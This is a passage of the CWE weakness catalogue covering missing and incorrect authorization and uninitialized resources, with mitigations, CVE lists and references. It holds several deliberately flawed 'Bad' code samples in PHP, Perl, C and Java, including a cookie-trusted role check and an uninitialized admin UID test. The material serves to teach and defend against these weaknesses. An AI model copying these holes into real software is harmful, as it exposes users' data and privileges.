Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].

Phase: Architecture and Design

For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.

Phase: System Configuration

Phase: Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

Demonstrative Examples

Example 1:

This function runs an arbitrary SQL query on a given database, returning the result of the query.

Example Language: PHP *(Bad)*

```
function runEmployeeQuery($dbName, $name){
  mysql_select_db($dbName,$globalDbHandle) or die("Could not open Database".$dbName);
  //Use a prepared statement to avoid CWE-89
  $preparedStatement = $globalDbHandle->prepare('SELECT * FROM employees WHERE name = :name');
  $preparedStatement->execute(array(':name' => $name));
  return $preparedStatement->fetchAll();
}
/.../
$employeeRecord = runEmployeeQuery('EmployeeDB',$_GET['EmployeeName']);
```

While this code is careful to avoid SQL Injection, the function does not confirm the user sending the query is authorized to do so. An attacker may be able to obtain sensitive employee information from the database.

Example 2:

The following program could be part of a bulletin board system that allows users to send private messages to each other. This program intends to authenticate the user before deciding whether a private message should be displayed. Assume that LookupMessageObject() ensures that the $id argument is numeric, constructs a filename based on that id, and reads the message details from that file. Also assume that the program stores all private messages for all users in the same directory.

Example Language: Perl *(Bad)*

```
sub DisplayPrivateMessage {
  my($id) = @_;
  my $Message = LookupMessageObject($id);
  print "From: " . encodeHTML($Message->{from}) . "<br>\n";
  print "Subject: " . encodeHTML($Message->{subject}) . "\n";
  print "<hr>\n";
  print "Body: " . encodeHTML($Message->{body}) . "\n";
}
my $q = new CGI;
# For purposes of this example, assume that CWE-309 and
# CWE-523 do not apply.
if (! AuthenticateUser($q->param('username'), $q->param('password'))) {
  ExitError("invalid username or password");
}
my $id = $q->param('id');
DisplayPrivateMessage($id);
```

While the program properly exits if authentication fails, it does not ensure that the message is addressed to the user. As a result, an authenticated attacker could provide any arbitrary identifier and read private messages that were intended for other users.

One way to avoid this problem would be to ensure that the "to" field in the message object matches the username of the authenticated user.

Observed Examples

Reference	Description
CVE-2022-24730	Go-based continuous deployment product does not check that a user has certain privileges to update or create an app, allowing adversaries to read sensitive repository information *https://www.cve.org/CVERecord?id=CVE-2022-24730*
CVE-2009-3168	Web application does not restrict access to admin scripts, allowing authenticated users to reset administrative passwords. *https://www.cve.org/CVERecord?id=CVE-2009-3168*

Reference	Description
CVE-2009-3597	Web application stores database file under the web root with insufficient access control (CWE-219), allowing direct request. *https://www.cve.org/CVERecord?id=CVE-2009-3597*
CVE-2009-2282	Terminal server does not check authorization for guest access. *https://www.cve.org/CVERecord?id=CVE-2009-2282*
CVE-2008-5027	System monitoring software allows users to bypass authorization by creating custom forms. *https://www.cve.org/CVERecord?id=CVE-2008-5027*
CVE-2009-3781	Content management system does not check access permissions for private files, allowing others to view those files. *https://www.cve.org/CVERecord?id=CVE-2009-3781*
CVE-2008-6548	Product does not check the ACL of a page accessed using an "include" directive, allowing attackers to read unauthorized files. *https://www.cve.org/CVERecord?id=CVE-2008-6548*
CVE-2009-2960	Web application does not restrict access to admin scripts, allowing authenticated users to modify passwords of other users. *https://www.cve.org/CVERecord?id=CVE-2009-2960*
CVE-2009-3230	Database server does not use appropriate privileges for certain sensitive operations. *https://www.cve.org/CVERecord?id=CVE-2009-3230*
CVE-2009-2213	Gateway uses default "Allow" configuration for its authorization settings. *https://www.cve.org/CVERecord?id=CVE-2009-2213*
CVE-2009-0034	Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges. *https://www.cve.org/CVERecord?id=CVE-2009-0034*
CVE-2008-6123	Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect. *https://www.cve.org/CVERecord?id=CVE-2008-6123*
CVE-2008-7109	Chain: reliance on client-side security (CWE-602) allows attackers to bypass authorization using a custom client. *https://www.cve.org/CVERecord?id=CVE-2008-7109*
CVE-2008-3424	Chain: product does not properly handle wildcards in an authorization policy list, allowing unintended access. *https://www.cve.org/CVERecord?id=CVE-2008-3424*
CVE-2005-1036	Chain: Bypass of access restrictions due to improper authorization (CWE-862) of a user results from an improperly initialized (CWE-909) I/O permission bitmap *https://www.cve.org/CVERecord?id=CVE-2005-1036*
CVE-2008-4577	ACL-based protection mechanism treats negative access rights as if they are positive, allowing bypass of intended restrictions. *https://www.cve.org/CVERecord?id=CVE-2008-4577*
CVE-2007-2925	Default ACL list for a DNS server does not set certain ACLs, allowing unauthorized DNS queries. *https://www.cve.org/CVERecord?id=CVE-2007-2925*
CVE-2006-6679	Product relies on the X-Forwarded-For HTTP header for authorization, allowing unintended access by spoofing the header. *https://www.cve.org/CVERecord?id=CVE-2006-6679*
CVE-2005-3623	OS kernel does not check for a certain privilege before setting ACLs for files. *https://www.cve.org/CVERecord?id=CVE-2005-3623*
CVE-2005-2801	Chain: file-system code performs an incorrect comparison (CWE-697), preventing default ACLs from being properly applied. *https://www.cve.org/CVERecord?id=CVE-2005-2801*

Reference	Description
CVE-2001-1155	Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions. *https://www.cve.org/CVERecord?id=CVE-2001-1155*
CVE-2020-17533	Chain: unchecked return value (CWE-252) of some functions for policy enforcement leads to authorization bypass (CWE-862) *https://www.cve.org/CVERecord?id=CVE-2020-17533*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References	809	2357
MemberOf	C	817	OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access	809	2359
MemberOf	C	866	2011 Top 25 - Porous Defenses	900	2372
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2576
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2589
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2487
MemberOf	V	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2594
MemberOf	V	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2597
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2519
MemberOf	V	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses	1425	2600

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
ISA/IEC 62443	Part 2-1		Req 4.3.3.7
ISA/IEC 62443	Part 3-3		Req SR 2.1
ISA/IEC 62443	Part 4-2		Req CR 2.1

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
665	Exploitation of Thunderbolt Protection Flaws

References

[REF-229]NIST. "Role Based Access Control and Role Based Security". < https://csrc.nist.gov/projects/role-based-access-control >.2023-04-07.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-231]Frank Kim. "Top 25 Series - Rank 5 - Improper Access Control (Authorization)". 2010 March 4. SANS Software Security Institute. < https://www.sans.org/blog/top-25-series-rank-5-improper-access-control-authorization/ >.2023-04-07.

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < http://www.owasp.org/index.php/ESAPI >.

[REF-233]Rahul Bhattacharjee. "Authentication using JAAS". < https://javaranch.com/journal/2008/04/authentication-using-JAAS.html >.2023-04-07.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-863: Incorrect Authorization

Weakness ID : 863
Structure : Simple
Abstraction : Class

Description

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. This allows attackers to bypass intended access restrictions.

Extended Description

Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.

When access control checks are incorrectly applied, users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	285	Improper Authorization	684
ParentOf	B	551	Incorrect Behavior Order: Authorization Before Parsing and Canonicalization	1264
ParentOf	B	639	Authorization Bypass Through User-Controlled Key	1406
ParentOf	V	647	Use of Non-Canonical URL Paths for Authorization Decisions	1426
ParentOf	B	804	Guessable CAPTCHA	1701
ParentOf	V	942	Permissive Cross-domain Policy with Untrusted Domains	1847
ParentOf	B	1244	Internal Asset Exposed to Unsafe Debug Access Level or State	2037

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	639	Authorization Bypass Through User-Controlled Key	1406

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2425

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	680

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Web Server *(Prevalence = Often)*

Technology : Database Server *(Prevalence = Often)*

Background Details

An access control list (ACL) represents who/what has permissions to a given object. Different operating systems implement (ACLs) in different ways. In UNIX, there are three types of permissions: read, write, and execute. Users are divided into three classes for file access: owner, group owner, and all other users where each class has a separate set of rights. In Windows NT, there are four basic types of permissions for files: "No access", "Read access", "Change access", and "Full control". Windows NT extends the concept of three types of users in UNIX to include a list of users and groups along with their associated permissions. A user can create an object (file) and assign specified permissions to that object.

Alternate Terms

AuthZ : "AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is distinct from "AuthN" (or, sometimes, "AuthC") which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Files or Directories *An attacker could read sensitive data, either by reading the data directly from a data store that is not correctly restricted, or by accessing insufficiently-protected, privileged functionality to read the data.*	
Integrity	Modify Application Data Modify Files or Directories *An attacker could modify sensitive data, either by writing the data directly to a data store that is not correctly restricted, or by accessing insufficiently-protected, privileged functionality to write the data.*	
Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism *An attacker could gain privileges by modifying or reading critical data directly, or by accessing privileged functionality.*	

Detection Methods

Automated Static Analysis

Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries. Generally, automated static analysis tools have difficulty detecting custom authorization schemes. Even if they can be customized to recognize these schemes, they might not be able to tell whether the scheme correctly performs the authorization in a way that cannot be bypassed or subverted by an attacker.

Effectiveness = Limited

Automated Dynamic Analysis

Automated dynamic analysis may not be able to find interfaces that are protected by authorization checks, even if those checks contain weaknesses.

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.

Effectiveness = Moderate

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Host Application Interface Scanner Fuzz Tester Framework-based Fuzzer Forced Path Execution Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.

Phase: Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].

Phase: Architecture and Design

For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.

Phase: System Configuration

Phase: Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

Demonstrative Examples

Example 1:

The following code could be for a medical records application. It displays a record to already authenticated users, confirming the user's authorization using a value stored in a cookie.

Example Language: PHP *(Bad)*

```
$role = $_COOKIES['role'];
if (!$role) {
  $role = getRole('user');
  if ($role) {
    // save the cookie to send out in future responses
    setcookie("role", $role, time()+60*60*2);
  }
  else{
    ShowLoginScreen();
    die("\n");
    }
}
if ($role == 'Reader') {
    DisplayMedicalHistory($_POST['patient_ID']);
}
else{
    die("You are not Authorized to view this record\n");
}
```

The programmer expects that the cookie will only be set when getRole() succeeds. The programmer even diligently specifies a 2-hour expiration for the cookie. However, the attacker can easily set the "role" cookie to the value "Reader". As a result, the $role variable is "Reader", and getRole() is never invoked. The attacker has bypassed the authorization system.

Observed Examples

Reference	Description
CVE-2021-39155	Chain: A microservice integration and management platform compares the hostname in the HTTP Host header in a case-sensitive way (CWE-178, CWE-1289), allowing bypass of the authorization policy (CWE-863) using a hostname with mixed case or other variations. *https://www.cve.org/CVERecord?id=CVE-2021-39155*
CVE-2019-15900	Chain: sscanf() call is used to check if a username and group exists, but the return value of sscanf() call is not checked (CWE-252), causing an uninitialized variable to be checked (CWE-457), returning success to allow authorization bypass for executing a privileged (CWE-863). *https://www.cve.org/CVERecord?id=CVE-2019-15900*
CVE-2009-2213	Gateway uses default "Allow" configuration for its authorization settings. *https://www.cve.org/CVERecord?id=CVE-2009-2213*
CVE-2009-0034	Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges. *https://www.cve.org/CVERecord?id=CVE-2009-0034*
CVE-2008-6123	Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect. *https://www.cve.org/CVERecord?id=CVE-2008-6123*
CVE-2008-7109	Chain: reliance on client-side security (CWE-602) allows attackers to bypass authorization using a custom client. *https://www.cve.org/CVERecord?id=CVE-2008-7109*
CVE-2008-3424	Chain: product does not properly handle wildcards in an authorization policy list, allowing unintended access. *https://www.cve.org/CVERecord?id=CVE-2008-3424*
CVE-2008-4577	ACL-based protection mechanism treats negative access rights as if they are positive, allowing bypass of intended restrictions. *https://www.cve.org/CVERecord?id=CVE-2008-4577*
CVE-2006-6679	Product relies on the X-Forwarded-For HTTP header for authorization, allowing unintended access by spoofing the header. *https://www.cve.org/CVERecord?id=CVE-2006-6679*
CVE-2005-2801	Chain: file-system code performs an incorrect comparison (CWE-697), preventing default ACLs from being properly applied. *https://www.cve.org/CVERecord?id=CVE-2005-2801*
CVE-2001-1155	Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions. *https://www.cve.org/CVERecord?id=CVE-2001-1155*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References	809	2357
MemberOf	C	817	OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access	809	2359
MemberOf	C	866	2011 Top 25 - Porous Defenses	900	2372
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2576
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2487
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2519
MemberOf	V	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses	1425	2600

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
ISA/IEC 62443	Part 4-1		Req SD-4
ISA/IEC 62443	Part 4-2		Req CR 2.1
ISA/IEC 62443	Part 4-2		Req CR 2.2
ISA/IEC 62443	Part 3-3		Req SR 2.1
ISA/IEC 62443	Part 3-3		Req SR 2.2
ISA/IEC 62443	Part 4-1		Req SVV-1
ISA/IEC 62443	Part 4-1		Req SVV-4
ISA/IEC 62443	Part 4-1		Req SD-1

References

[REF-229]NIST. "Role Based Access Control and Role Based Security". < https://csrc.nist.gov/projects/role-based-access-control >.2023-04-07.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-231]Frank Kim. "Top 25 Series - Rank 5 - Improper Access Control (Authorization)". 2010 March 4. SANS Software Security Institute. < https://www.sans.org/blog/top-25-series-rank-5-improper-access-control-authorization/ >.2023-04-07.

[REF-233]Rahul Bhattacharjee. "Authentication using JAAS". < https://javaranch.com/journal/2008/04/authentication-using-JAAS.html >.2023-04-07.

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < http://www.owasp.org/index.php/ESAPI >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-908: Use of Uninitialized Resource

Weakness ID : 908
Structure : Simple
Abstraction : Base

Description

The product uses or accesses a resource that has not been initialized.

Extended Description

When a resource has not been properly initialized, the product may behave unexpectedly. This may lead to a crash or invalid memory access, but the consequences vary depending on the type of resource and how it is used within the product.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	665	Improper Initialization	1456
ParentOf	V	457	Use of Uninitialized Variable	1094
CanFollow	C	909	Missing Initialization of Resource	1797

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	665	Improper Initialization	1456

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	2324

Weakness Ordinalities

Primary :

Resultant :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory Read Application Data *When reusing a resource such as memory or a program variable, the original contents of that resource may not be cleared before it is sent to an untrusted party.*	
Availability	DoS: Crash, Exit, or Restart *The uninitialized resource may contain values that cause program flow to change in ways that the programmer did not intend.*	

Potential Mitigations

Phase: Implementation

Explicitly initialize the resource before use. If this is performed through an API function or standard procedure, follow all required steps.

Phase: Implementation

Pay close attention to complex conditionals that affect initialization, since some branches might not perform the initialization.

Phase: Implementation

Avoid race conditions (CWE-362) during initialization routines.

Phase: Build and Compilation

Run or compile the product with settings that generate warnings about uninitialized variables or data.

Demonstrative Examples

Example 1:

Here, a boolean initiailized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached.

Example Language: Java *(Bad)*

```
private boolean initialized = true;
public void someMethod() {
  if (!initialized) {
    // perform initialization tasks
    ...
    initialized = true;
  }
```

Example 2:

The following code intends to limit certain operations to the administrator only.

Example Language: Perl *(Bad)*

```
$username = GetCurrentUser();
$state = GetStateData($username);
if (defined($state)) {
  $uid = ExtractUserID($state);
}
# do stuff
if ($uid == 0) {
  DoAdminThings();
}
```

If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

Example 3:

The following code intends to concatenate a string to a variable and print the string.

Example Language: C *(Bad)*

```
char str[20];
strcat(str, "hello world");
printf("%s", str);
```

This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.

If a null terminator is found before str[8], then some bytes of random garbage will be printed before the "hello world" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found.

If a null terminator isn't found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash.

Example 4:

This example will leave test_string in an unknown condition when i is the same value as err_val, because test_string is not initialized (CWE-456). Depending on where this code segment appears (e.g. within a function body), test_string might be random if it is stored on the heap or stack. If the variable is declared in static memory, it might be zero or NULL. Compiler optimization might contribute to the unpredictability of this address.

Example Language: C *(Bad)*

```
char *test_string;
if (i != err_val)
{
   test_string = "Hello World!";
}
printf("%s", test_string);
```

When the printf() is reached, test_string might be an unexpected address, so the printf might print junk strings (CWE-457).

To fix this code, there are a couple approaches to making sure that test_string has been properly set once it reaches the printf().

One solution would be to set test_string to an acceptable default before the conditional:

Example Language: C *(Good)*

```
char *test_string = "Done at the beginning";
if (i != err_val)
{
   test_string = "Hello World!";
}
printf("%s", test_string);
```

Another solution is to ensure that each branch of the conditional - including the default/else branch - could ensure that test_string is set:

Example Language: C *(Good)*

```
char *test_string;
if (i != err_val)
{
   test_string = "Hello World!";
}
else {
   test_string = "Done on the other side!";
}
printf("%s", test_string);
```

Observed Examples

Reference	Description
CVE-2019-9805	Chain: Creation of the packet client occurs before initialization is complete (CWE-696) resulting in a read from uninitialized memory (CWE-908), causing memory corruption. *https://www.cve.org/CVERecord?id=CVE-2019-9805*
CVE-2008-4197	Use of uninitialized memory may allow code execution. *https://www.cve.org/CVERecord?id=CVE-2008-4197*
CVE-2008-2934	Free of an uninitialized pointer leads to crash and possible code execution. *https://www.cve.org/CVERecord?id=CVE-2008-2934*
CVE-2008-0063	Product does not clear memory contents when generating an error message, leading to information leak. *https://www.cve.org/CVERecord?id=CVE-2008-0063*
CVE-2008-0062	Lack of initialization triggers NULL pointer dereference or double-free. *https://www.cve.org/CVERecord?id=CVE-2008-0062*
CVE-2008-0081	Uninitialized variable leads to code execution in popular desktop application. *https://www.cve.org/CVERecord?id=CVE-2008-0081*
CVE-2008-3688	Chain: Uninitialized variable leads to infinite loop. *https://www.cve.org/CVERecord?id=CVE-2008-3688*
CVE-2008-3475	Chain: Improper initialization leads to memory corruption. *https://www.cve.org/CVERecord?id=CVE-2008-3475*
CVE-2005-1036	Chain: Bypass of access restrictions due to improper authorization (CWE-862) of a user results from an improperly initialized (CWE-909) I/O permission bitmap *https://www.cve.org/CVERecord?id=CVE-2005-1036*
CVE-2008-3597	Chain: game server can access player data structures before initialization has happened leading to NULL dereference *https://www.cve.org/CVERecord?id=CVE-2008-3597*
CVE-2009-2692	Chain: uninitialized function pointers can be dereferenced allowing code execution *https://www.cve.org/CVERecord?id=CVE-2009-2692*
CVE-2009-0949	Chain: improper initialization of memory can lead to NULL dereference *https://www.cve.org/CVERecord?id=CVE-2009-0949*
CVE-2009-3620	Chain: some unprivileged ioctls do not verify that a structure has been initialized before invocation, leading to NULL dereference *https://www.cve.org/CVERecord?id=CVE-2009-3620*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	1154	2455
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2483
MemberOf	V	1340	CISQ Data Protection Measures	1340	2590
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2545

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	EXP33-C	CWE More Abstract	Do not read uninitialized memory

References

[REF-436]mercy. "Exploiting Uninitialized Data". 2006 January. < http://www.felinemenace.org/~mercy/papers/UBehavior/UBehavior.zip >.

CWE-909: Missing Initialization of Resource

Weakness ID : 909
Structure : Simple
Abstraction : Class

Description

The product does not initialize a critical resource.

Extended Description

Many resources require initialization before they can be properly used. If a resource is not initialized, it could contain unpredictable or expired data, or it could be initialized to defaults that are invalid. This can have security implications when the resource is expected to have certain properties or values.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	665	Improper Initialization	1456
ParentOf	V	456	Missing Initialization of a Variable	1089
ParentOf	B	1271	Uninitialized Value on Reset for Registers Holding Security Settings	2102
CanPrecede	B	908	Use of Uninitialized Resource	1792

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	665	Improper Initialization	1456

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	2324

Weakness Ordinalities

Primary :

Resultant :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory Read Application Data *When reusing a resource such as memory or a program variable, the original contents of that resource may not be cleared before it is sent to an untrusted party.*	
Availability	DoS: Crash, Exit, or Restart *The uninitialized resource may contain values that cause program flow to change in ways that the programmer did not intend.*	

Potential Mitigations

Phase: Implementation

Explicitly initialize the resource before use. If this is performed through an API function or standard procedure, follow all specified steps.

Phase: Implementation

Pay close attention to complex conditionals that affect initialization, since some branches might not perform the initialization.

Phase: Implementation

Avoid race conditions (CWE-362) during initialization routines.

Phase: Build and Compilation

Run or compile your product with settings that generate warnings about uninitialized variables or data.

Demonstrative Examples

Example 1:

Here, a boolean initiailized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached.

Example Language: Java *(Bad)*

```
private boolean initialized = true;
public void someMethod() {
  if (!initialized) {
    // perform initialization tasks
    ...
    initialized = true;
  }
```

Example 2:

The following code intends to limit certain operations to the administrator only.

Example Language: Perl *(Bad)*

```
$username = GetCurrentUser();
$state = GetStateData($username);
if (defined($state)) {
  $uid = ExtractUserID($state);
}
# do stuff
if ($uid == 0) {
  DoAdminThings();
}
```

If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

Example 3:

The following code intends to concatenate a string to a variable and print the string.

Example Language: C *(Bad)*

```
char str[20];
strcat(str, "hello world");
printf("%s", str);
```

This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.

If a null terminator is found before str[8], then some bytes of random garbage will be printed before the "hello world" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found.

